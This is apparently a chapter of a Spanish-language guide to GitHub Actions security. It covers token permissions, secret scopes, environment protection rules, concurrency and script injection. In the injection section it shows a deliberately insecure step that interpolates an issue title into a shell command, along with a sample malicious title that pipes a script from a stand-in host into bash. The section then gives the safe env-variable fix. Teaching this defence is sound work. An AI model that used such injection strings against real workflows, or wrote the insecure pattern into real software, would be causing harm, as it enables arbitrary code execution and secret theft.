Seguridad en Actions
Seguridad en Actions
Un workflow tiene acceso al código, a un token con permisos sobre el repo y, a menudo, a secrets de producción. Esta es la superficie de ataque más real de .github: un run: mal escrito puede filtrar un token o ejecutar código arbitrario. Vamos por las cuatro palancas de seguridad que controlás desde el YAML.
Permisos del GITHUB_TOKEN
Cada ejecución recibe un GITHUB_TOKEN efímero. Por defecto arranca con permisos amplios; el bloque permissions: te deja recortarlos. Podés definirlo a nivel del workflow completo (aplica a todos los jobs) o a nivel de un job individual (solo ese job).
permissions: # a nivel workflow: aplica a todos los jobs
contents: read
jobs:
etiquetar:
permissions: # a nivel job: sobrescribe para este job
contents: read
pull-requests: write
runs-on: ubuntu-latest
steps:
- run: echo "solo este job puede escribir PRs"
Principio de mínimo privilegio: arrancá con lo mínimo y sumá solo lo que el job necesite.
| Punto de partida | Efecto |
|---|---|
permissions: {} | Revoca todos los permisos del token |
permissions: contents: read | Solo lectura del repo (checkout, nada de escritura) |
Sumar pull-requests: write | Habilita comentar/etiquetar PRs |
Sumar issues: write | Habilita crear/editar issues |
Nota: definir
permissionsa nivel workflow concontents: ready elevar puntualmente en el job que lo necesite es el patrón recomendado. Un job que solo corre tests no debería tener permiso de escritura sobre nada.
Secrets: repo, organización y environment
Los secrets se referencian con ${{ secrets.NOMBRE }} y se definen en tres scopes:
| Scope | Dónde se define | Alcance |
|---|---|---|
| Repositorio | Settings → Secrets → Actions | Todos los workflows del repo |
| Organización | Settings de la org | Repos seleccionados de la org |
| Environment | Dentro de un environment | Solo jobs que referencian ese environment: |
Los secrets de environment solo están disponibles si el job declara ese environment, y quedan sujetos a sus protection rules (ver abajo). Es el scope más seguro para credenciales de despliegue.
Environments con protection rules
Un environment (ej. produccion) agrupa configuración de despliegue y le pone barreras a los jobs que lo usan:
jobs:
deploy:
runs-on: ubuntu-latest
environment: produccion
steps:
- run: ./deploy.sh
- Required reviewers: el job queda pausado hasta que una persona autorizada lo apruebe manualmente.
- Wait timer: obliga a esperar N minutos antes de arrancar (ventana para cancelar).
- Deployment branches: restringe qué branches pueden desplegar a ese environment.
Concurrency
La clave concurrency agrupa ejecuciones para que no corran en paralelo cuando no deben. Acepta un string fijo o una expresión dinámica que puede referenciar los contextos github, inputs, vars, needs, strategy y matrix.
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
- Por defecto (
queue: single) solo puede haber una ejecución pendiente por grupo: las corridas adicionales quedan en cola o se cancelan. cancel-in-progress: truehace que Actions cancele la corrida en progreso del mismo grupo cuando llega una nueva — ideal para CI de PRs, donde solo importa el último commit.
Nota: existe una opción más reciente
queue: maxque permite varias corridas en cola simultáneas. Es una novedad reciente y puede estar sujeta a cambios; consultá la documentación oficial antes de depender de ella.
Script injection: el error más peligroso
El contexto github incluye datos del evento controlados por quien dispara el workflow: título de una issue, título de un PR, nombre de un branch. Interpolar ese valor directamente dentro de un run: de shell abre la puerta a script injection: el atacante pone comandos en el título y GitHub los pega tal cual en el script.
# INSEGURO — el título del issue se pega dentro del shell
- run: echo "Nuevo issue: ${{ github.event.issue.title }}"
Si el título es "; curl evil.sh | bash; #, ese comando se ejecuta. La defensa es pasar el valor por una variable de entorno y referenciarla como $VARIABLE dentro del script — el shell la trata como dato, no como código:
# SEGURO — el valor viaja por env y el shell no lo interpreta como comando
- env:
TITULO: ${{ github.event.issue.title }}
run: echo "Nuevo issue: $TITULO"
Regla general: nunca interpoles input no confiable directamente en un run:. Pasalo por env: siempre.
Contextos disponibles
Además de github, un workflow expone otros contextos que podés usar en expresiones: env, vars, job, jobs, steps, runner, secrets, strategy, matrix, needs, inputs. Cada uno tiene su alcance; consultá la documentación de contextos de GitHub para el detalle de qué campos expone cada uno y en qué parte del workflow está disponible.
Anterior → Capítulo 5: Reusable workflows · Siguiente → Capítulo 7: Community health files